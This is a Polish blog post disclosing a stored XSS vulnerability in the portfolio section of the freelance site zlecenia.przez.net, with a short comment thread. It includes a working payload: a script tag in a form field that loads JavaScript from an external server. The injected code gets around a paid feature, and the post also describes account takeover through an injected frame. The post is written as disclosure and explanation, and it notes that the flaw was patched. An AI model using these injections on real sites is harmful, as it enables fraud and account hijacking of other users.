Aplikacje internetowe

Bełdziowe spojrzenie na aplikacje internetowe

Poszerzanie portfolio

O zlecenia.przez.net

Nasz serwis powstał w celu kojarzenia specjalistów z danej dziedziny z tymi, którzy akurat poszukują takich właśnie fachowców.

Dzięki naszemu serwisowi firmy, a także osoby prywatne mogą ogłaszać „konkursy” czy „przetargi” na realizację konkretnego pomysłu. Zarejestrowani w naszym serwisie „developerzy” odpowiadają na takie ogłoszenie składając swoje oferty. Licytacja przebiega aż czas ogłoszenia minie. Wtedy zleceniodawca wybiera osobę, która zwycięży. I to wszystko!

Tak łatwo jest przeprowadzić przetarg w internecie!

Za pomocą serwisu zlecenia.przez.net znajdziesz specjalistów, którzy zrealizują Twój pomysł – albo sam, jako fachowiec, wygrywając aukcję możesz zarabiać! Robisz to co lubisz – i to wszystko nie wychodząc z domu!

Błędy

Wraz z rozszerzeniem możliwości serwisu pojawiły się w nim drobne błędy. Jak to zawsze bywa dane wysyłane od użytkownika nie są filtrowane dzięki czemu można wstrzyknąć swój kod.

Sytuacja taka ma miejsce w portfolio użytkownika. Jako, że wprowadzone przez niego dane zapisywane są w bazie danych mogą być one potencjalnie niebezpieczne dla pozostałych użytkowników serwisu.

Przykładem nadużycia skierowanego przeciwko innym użytkownikom może być kradzież pliku cookie. W pliku tym serwer zapisuje informacje umożliwiające identyfikacje użytkownika. W zapisywanym przez serwer serwisu zlecenia.przez.net pliku znajdują się informacje pomocne przy automatycznym logowaniu użytkownika tj. login (zmienna „zlecenia_login”) oraz hash hasła (zmienna „zlecenia_pass”)

19 grudnia ubiegłego roku poinformowałem administratorów serwisu o występującym błędzie, jednak po wymianie kilku maili dostałem informację, że:

jeżeli chodzi o cookie „zlecenia_haslo” – spełnia swoją rolę – utwierdza łamaczy w przekonaniu, że w zmiennej ukryte jest hasło :)

w takim razie jak możliwe jest automatyczne logowanie?

Zakładając możliwość, że zmienna „zlecenia_haslo” nie zawiera hasha hasła użytkownika możliwe jest inne niebezpieczeństwo. Mianowicie agresor ma możliwość wstrzyknięcia kodu JavaScript w oryginalny kod strony co umożliwia wstawienie mu dowolnego kodu działającego po stronie przeglądarki. Co prawda pola na zakładce portfolio mają ograniczoną długość na wpisywany tekst, można jednak to obejść poprzez załadowanie pliku z innego serwera. No dobrze ale w czym rzecz? Co się stanie gdy napastnik wstrzyknie w kod strony odwołanie do wirusa lub innego szkodliwego oprogramowania? Użytkownik wchodząc na stronę z portfolio agresora zostanie zainfekowany nic o tym nie wiedząc.

Jak widać podejście administratorów serwisu do problemu pozostawia wiele do życzenia. Skoro nie zważają oni na możliwość zagrożenia użytkowników serwisu, to może zainteresuje ich możliwość straty dochodów z działalności serwisu?

Jak możemy czytać na stronie:

Serwis zlecenia.przez.net jest serwisem bezpłatnym. Chcemy aby to co jest bezpłatne, pozostało bezpłatne i nie planujemy tego zmieniać. Wszystkie opcje z których do tej pory korzystaliście (plus sporo nowych) pozostaną darmowe.

Dla bardziej wymagających użytkowników przygotowaliśmy możliwość wykupienia niedrogich abonamentów dających dostęp do kolejnych, niezwykle użytecznych opcji w serwisie:

Jedną z tych opcji jest możliwość rozbudowy portfolio. W wersji darmowej mamy możliwośc umieszczenia w nim tylko jednej pracy. Jeśli chcemy zamieścić więcej musimy zapłacić 69 zł/rok

Tylko po co tracić 69 zł skoro można poszerzyć swoje portfolio wykorzystując niedociągnięcia pozostawione przez programistę?

Każda praca znajdująca się w portfolio umieszczona jest w oddzielnej tabelce (jakby to warstw nie było :|). Wystarczy tylko, że wstrzykniemy w kod strony skrypt, który powieli nam tą tabelkę i jesteśmy do przodu o 69 zł :D

Może brzmi to skomplikowanie, ale w rzeczywistości tak nie jest.
Wystarczy tylko trochę kodu:

Poszerzamy portfolio

Na stronie http://www.zlecenia.przez.net/moje,portfolio mamy możliwość dodania tylko jednej pracy (w wersji podstawowej). Zmieńmy to!

W polu technologie zamiast właściwych danych wpisujemy kod, który pobierze treść pliku z naszego serwera w wstawi ją w kod serwisu.

<script src=http://www.blog.beldzio.com/zrzut/zlecenia.js></script>  </pre><p>Kod dodany do oryginalnego kodu to:</p><pre>document.write( '  	PHP, mySQL, xHTML, CSS, AJAX</td></tr><tr><td>  	<b>Data wykonania:</b> czerwiec 2006</td></tr><tr><td  	colspan="2"> </td></tr><tr><td  	colspan="2"></td></tr></table></td></tr><tr><td  	colspan="2"> </td></tr></table></td></tr></table><br/><table width="800"  	align="center" border="0" cellpadding="3" cellspacing="0"><tr><td width="320"  	align="center"><a href="http://www.kpzhk.pl/" target="_blank"  	class="czerwony">Mambo: RSS2News<br /><br /><img  	src="http://www.beldzio.com/portfolio/mini/a1bf7c57fc7c3a324191757a0504fdeb.jpg.freez  	" width="192" height="192" border="0" alt="" /><br  	/>http://www.beldzio.com/portfolio/przegladaj.freez</a></td><td align="center"  	valign="top"><table width="100%" border="0"><tr><td><b>Technologie:</b>PHP,  	mySQL, XML, HTML</td></tr><tr><td><b>Data wykonania:</b> styczen  	2007</td></tr><tr><td colspan="2"> </td></tr><tr><td  	colspan="2"></td></tr></table></td></tr><tr><td  	colspan="2"> </td></tr></table></td></tr></table>  ');

Wynik:

Powiadomienie o błędzie

Błąd został uznany za niegroźny i nie został załatany.

UWAGA!!!

Po dokładniejszym przyjrzeniu się danym zapisanych w ciasteczku można wywnioskować, że zmienna „zlecenia_haslo” nie jest dokładnym hashem hasła użytkownika przez co NIE MOŻNA bezpośrednio wyciągnąć danych użykownika. Chciałem przeprosić właścicieli serwisu zlecenia.przez.net za ten błąd.

Jak można było zauważyć w poprzednim akapicie użyłem słowa „bezpośrednio”. Wstrzykiwany przez nas kod działa na stronie z uprawnieniami użytkownika, tzn. jeśli wstrzykniemy w kod strony ramkę, która będzie otwierała stronę z danymi użytkownika ukażą nam się dane aktualnie zalogowanego użytkownika. Wykorzytsując to możemy bez wiedy użytkownika zmieniać jego hasło, a także adres e-mail przez co zyskujemy dostęp do jego konta. Czyli reasumując jest możliwe przejęcie czyjegoś konta.

Poprawka

Po 5 miesiącach udało się załatać stronę.


Tagi: ,
Kategoria: Bezpieczeństwo, BugTraq


4 komentarze

  1. Winhelp napisał(a):

    WP też popełnia błędy :) Może wiesz, jak wykorzystać ten, który znalazłem? http://winhelp.jogger.pl/2007/01/11/wirtualna-polska-jak-najbardziej-prawdziwy-xss/

  2. Michał `Bełdzio` Ławicki napisał(a):

    Ogólnie rzecz biorąc wiele osób ignoruje błędy typu XSS ze względu na ich małą szkodliwość. Jest w tym wiele racji, ale tylko wtedy gdy rozważamy problem wstrzyknięć na poziomie „globalnym”. Na większości stron możemy wstrzyknąć nieszkodliwy kod (tak jak ten zademonstrowany przez Ciebie), jednak na nielicznych stronach wstrzyknięcie swojego kodu może skutkować np. uzyskaniem dostępu do prywatnych danych, czy nawet przejęciem konta użytkownika. Wszystko zależy od możliwości podatnej aplikacji. Pozdrawiam.

  3. Vogel napisał(a):

    Dobrze, że autor użył słowa „przetargi” na realizację oraz „developerzy” w cudzysłowie. Dobrze oddaje to charakter usług jakie można zakupić/wynegocjować w serwisie…

  4. Bełdzio napisał(a):

    ha ha ha :-) częściowo masz rację. Częściowo bo czasem :: raz na 10 lat :: znajdzie się coś ciekawego :) BTW ostatnio ktoś dał zlecenie wyciągnięcia telefonu z szamba :D

Dodaj komentarz